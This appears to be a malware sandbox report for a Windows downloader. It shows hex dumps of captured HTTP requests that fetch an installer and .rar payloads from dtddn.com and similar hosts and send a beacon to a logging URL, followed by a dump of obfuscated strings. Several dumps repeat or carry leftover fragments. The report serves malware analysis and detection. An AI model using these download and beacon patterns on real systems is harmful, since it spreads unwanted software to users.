0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e647464 646e2e63 6f6d0d0a   down.dtddn.com..
0x00000080 (00128)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x00000090 (00144)   2d416c69 76650d0a 0d0a6c64 6972312e   -Alive....ldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e737a2d 67756f67 656e672e   down.sz-guogeng.
0x00000080 (00128)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000090 (00144)   204b6565 702d416c 6976650d 0a0d0a2e    Keep-Alive.....
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 446f776e 4926496e   01%20Q2-DownI&In
0x00000030 (00048)   666f313d 39343233 37393136 37313932   fo1=942379167192
0x00000040 (00064)   25323031 25323030 25323031 20485454   %201%200%201 HTT
0x00000050 (00080)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000060 (00096)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000070 (00112)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000080 (00128)   70617469 626c653b 2057696e 33323b20   patible; Win32; 
0x00000090 (00144)   57696e48 7474702e 57696e48 74747052   WinHttp.WinHttpR
0x000000a0 (00160)   65717565 73742e35 290d0a48 6f73743a   equest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f373434 362e7261   GET /lnk/7446.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a206c6e 6b312e64 7464646e   Host: lnk1.dtddn
0x00000080 (00128)   2e636f6d 3a373737 310d0a43 6f6e6e65   .com:7771..Conne
0x00000090 (00144)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000a0 (00160)   650d0a0d 0a742e35 290d0a48 6f73743a   e....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....


Strings
(
..a

0/0bxLlkS/NXgG24
080404B0
0DkBNzC9zzW0OQnQ2gzpOzWEQeCqRaRsEqzEpNjVEqC7xevf2Dj3RYzmxqzf+DzGEYPKEqzm2DgsTNG
0EdYIofH+rNb+0+JgQk
0TlUCiw6Rglk9V8afvBaWTu
0uXZkUq
1.00
11QmkWhdHgu9HFk
1cYKMhMlyKAyAdAG4cAGM9bN11LQ/JMEzwLyNwlxzv5EUvYGy3bOr1zBrPAXN1IaFPp5rkxxrRzXnTjbr1FarELorjFxmRpcFTX9gF
1gYn20URdUUEVga59NTb20wuAc
1UmCvPm/UUmzXUPdXUvsXUgKXzfwlBfwVcRwRUm/ibmJXU/gXURmXF96XujwlBRw13mCvUmPXUmfXUPbXUvbX3nKX6Vw0+wwScRwXUmwXUmXXUmwXUPZWX
1ZGaqZv/8A4Mc+Y/LTx/8KD
2rBwZPj+RZ
3Its
3q61qZKP
3vwfbyhByyx3Yp7poOyPYyxspAhcQHQDscysyJy1VAy1QfIYppxWL+QMGoxsPJfOLcuRUf0WUBVk/6ZIK9ZIu3ZI/3ZWKS2
49qBAMASJBeJeies39esARZW44EmPKA0aTEJpiRzPBOG
4cRtxh45JSKpJ6n
4lyAZmJrmm+4RtUtTjmhRm+dtVJXvMvbdXmdhZB0dXJ3KVDYTlBsvomkKXmY5lmedowSdXmkTljbqZenZ3lnO4fF5rlw5rlY5rlF5r5wTC
4NsVrxnjqOhfqVnh/yhR4yPVJVh+vElmbJZ7JNLXbmZ+wUn90VgZIEl7w9P70KfV3dfoImZ7w7ghbr7pRVogRkyShHcgj4cghKcghHcHjxO
4x2+4EGC5PiC5xj
/5BnkJHVU7qlU2qHcDZdMmpqc1rASa30v7nV
5lysf1/Cf162f1QJiLRrf1MCiLyU
5SaEyX/
5v0EnvTKhmJIVlz2x5wy
6HW10T7w6I0QnbslQNj4Qzs+VTjxuTsPq+QsnC6Cq+8Xj+xw2UHs2+ZaR6iku6iX2+E92+xU2C8C2+4iM0sCJ10crTsYQ10mv1WXF0wlFb0QnbWXrhTmF8
6pye3q2fQ3
6RuhPVufRRu0HRV5HRPmHRMCH0STXKST1N9T9RuN9DusRRc/HRPGHrxTH7MTxDgTaK9hyluNjVudRRu5HRuTHRuTHEpTHRuT
7BmQ5epc5Bu
+7ci3MH
8hKWx8Kq05a
8NT0GCm+4deDENs
8vVTmvxUtiVmH+lUukFp43hOdkOWuaOE47xmrk0o48zp48g6x8UTuilW48zmH8R5Z/X6AiV3u+OI8VRG4816HiFpu+R98VOoZ8zoAkRptRT
8zJkFKFw4kr4rRrAlzrAF7Hn88XNDLFymVX4gRdzmVr3
9EqbcUn
9fkzZIQBIIu9Jj8jFUIqJIu6jlQC343x6CI6I7IgTlIg3zwJjjub0m3cnFu6I7zsJCzVn9i0P9KUYB6EPqfEPqHEPq6EPVz3
9hjX
A2XKXQ5ZUpJ1
A5349S3k564Yj26996
A78qwA8+0/2
aahljaghaeuwtwzdhfwrgpbdpgdzwxerwuikiwftukirlwseirurbrdvjoxwyrgptjlpjibfzyrnugiouqvopqgg
aaiynfpipjrnqntieomxwedhynwrvstbdnalksswmrkgkgsprroptg
aaprrosceedladeyoodzpcogdunuhvwadjhotito
aatujsjchzafdhiujvkfslttntchpeerfkmnpjtdklmwmhlgxjeyngbtjzqntyjyhdgsnsazppxfemisotnuqbmhys
aavyqnrpfjkfhwouzqbcuqandbijsaxqwurdqmlqtqexlnigatxbnjmvcfcbudr
abwhdhbkzulsoligwjfai
abyrkn
achknkrmxmimqczsidopincpsjfjoahmkxpynsqsiwnvupjtcmztgkuztdbsvlnpzuhvrvvtctcxrquqrwbvljyedkkmxohe
aeg8cjfqC6gdkPVlpv/bcv/JO68qaG/6IlR80ZRgyyFlOm0hkEF4y6u80Ei4gE58kEFDIGbPOmFHOutbWNI87v/VsPy
aemahqpsiulybjwhiriahhbavrrugbicdllajc
afxsckpnuzxnwpfxjulrgydxtdlbqtehi
aghtwjdthtjodluseufwdlh
aiaohcqsmtuybgfrghonvluwbwshoptaziogiohzusyg
ajkgykwxdamfcnkczatcbaarqhahunqlnqw
amxruayufsdldohejcxaidx
ancvgchczrfdxbojrxgilfmedltsn
anhivtdcqhzzbtfuwinntbtpvdyjkdporxqqcuedewifecmfybumeuqerzenbikvwqjqupcm
anxwefdegzzceapc
aolrkqwtuyqqzbgioivp
apeixetkndbfmdukj
appb
apukulwykfxtxqweq
APXehD4Oa3
aqavgjqljvppvzvfduzqutuzxjoljhutrcmufifagbgiodz
aqvddhzewvpwxlnyvwomcgdatfjmracmkldlrurlsnxugolqozgzpyfagbgiodzzcwvn
Arguments
arullhdhuvjqvwcceudfnvbvijnkjxb
arzonschahzreqvcghhkvpncvqskzdqfngzqgrr
ATnvC6
AtXgPQZl9K4BFu
awcqqqlvemhjvsfvzwbypstktlpwcwykyfjxcaszizeawfnxboylgvcnwosbajmhfripgylqksckqzlfeglkq
Axu7HsOe
ayjyaqtkasireksyowcrzjmtemsbtominlwvhslnxzlp
b4zsyhYfy5Hfb4YsyhHsyhmfy7ysy5YQy5mVx7yfx7T4b5T3y7z3y5Yey5zsbhmfy4GVb7yQx7GVy5lD
B6kPUoUiqPNqNdN0J6N0Uzt5BBR/IFUfvaRqNdzl5Pz2vV
bamnpxreajgmurwufegbefqsosfajfftuhuqsuzxcruanuemigjphtnlsgydcisawuxxbickgjrmv
BaNEUMg+1QbV1ASGvQ6
bbgzitet
bcceapswvrweuzlmfxrtpewlzlksjyppz
bfescmkucnqajvvjyiubxcmkzaev
bfmyhtf
bgpvzciqfqnuzqhkfzxdnkwfblcdhpvzqnwswzetaaxcbdosozidixympowxwrxbdnqswmxbxdtuy
bgqxbkutqlarghthqgzqaxiszlofjwxwtktfplxgiocpemskscwdnwcw
bHbQZjW5VA
bivwgnnroykgkhclonwma
bjbxsn
bklcodqxqqohvlyciajqjumtljfcvmm
blwihapwpy
Bmyd1LiX
bnlhwuuzrbzmfyeolqx
bO4+Avx/NeAJA+A70IxJNMw
bodwfzhnl
bosrmoz
bpzctgmgvkgxaomxwrmtgedsm
brkryalgziekkkvkwugfmmjbtpiwzydduxnrjx
BrPmIS3DHQW0Iw2GWQWpYQCD
brspbacdjhijqyvqqfsfmprkuzurpeqthufmubzodntxsflneeucavgkogsxqzqsvhxor
bruxhhncdhvcuhiztjxyk
bryrenz
btgvmxbjtmcohplkfaurvxkrbhhpswzgsfytmetnuqrqdeyiumtqk
Btu0oqocx0FxFyF2MtF2o/XhBBYOn1oApEYxikrAoy/lnmR2p0I
bulff
buufwrrygipwpq
BuW1bAK8AA6BrhNhXlAPrA6DhiK7t5tpD7ADAHAxjiAxt1arhh6oFct+EX6DPH1lF7Ikd1mad8h/IoqawBqaIRqaIoqowAs
buyfktzdglujjxtyptmuexjcstxjthlumxbxt
bvyzdafeqqxoxqfykkmiczeszpxnmueijjawg
bwuhrzvuapoaljptjptvvyhwozikuxexxdbdowshzcbnigswtracc
bY1H61
c0UsxN2iceldxN9ZCglqMNRhxk
C52hhTF10N3w42pQ2b3l
c7Vl4tizme
C*\AD:\TN43Nxr10\lswkmccevni.vbp
caftozegolecjoqballwgrrigrodrytehucjruofjxuewowqjwoepneuifazvritivtamjeipjmovxiptohzki
cbsnpuyvbzccpznaqpgbetmjazltbsgpuwnihcwcxlsygxlhxfrsaglrwzgrvlacleqhzvofkjufnkyzkdevnjn
cbxykmnfgsgcvi
CdKJfW5ul+m7lJ5mLFmUCFwJGJm6NP9yBGDqGdAiByD6V450RJHDsP9qV0wqRE7JrQ7nsyDqVqHmBfq2
cdnvbfsdrnckbascfxxbnmdjcdnlmbitc
CEFOgFlT9Xi48Cd2W4nkQ1O65HSrw94YPJ6iV12
cgdjhxxvvqiimmgjffsnuqgklk
cgotjbuzfhkkpcf
cjdnwusepqdb
ckrfngzlwuqfhneaqypemcoakiptluioeijiqbeyzrdhkpyvyvcbyptnhqmwtenjtklqyyhygeakhnwyigktlwa
cleurynmdkzlxvgtsybgqafqcbjxkvdxz
cmanojvydqr
cmbwkhisnvoeuk
cngmhirmsufrvwuhtogbstanhmxsznuwryujoswvsvweceweazyaqvqlqfzlybrhtojttzxjagdpvgyvzpitsodsdagtcsrw
CompanyName
cotsawcipsenwfokwvkuniaxdgvzpcebbecyjnuwd
cqdjbnn
cqydypkxocsbjgako
cr0kh70drr04Yr7gYrhCYrznY4IfAEIfQWMfMr0dDq04MqTzYrMbYLTXYXsfsgwfcFMkDl05I70QMqTgYr/SYrznYr0fYr0fyFMfYr0fuyq
c/RDR9A8XwoLhq0VK9Y
CreateShortcut
crqnmtzagy
csvyqeowybxxdmvghelfiuhck
cszpwk
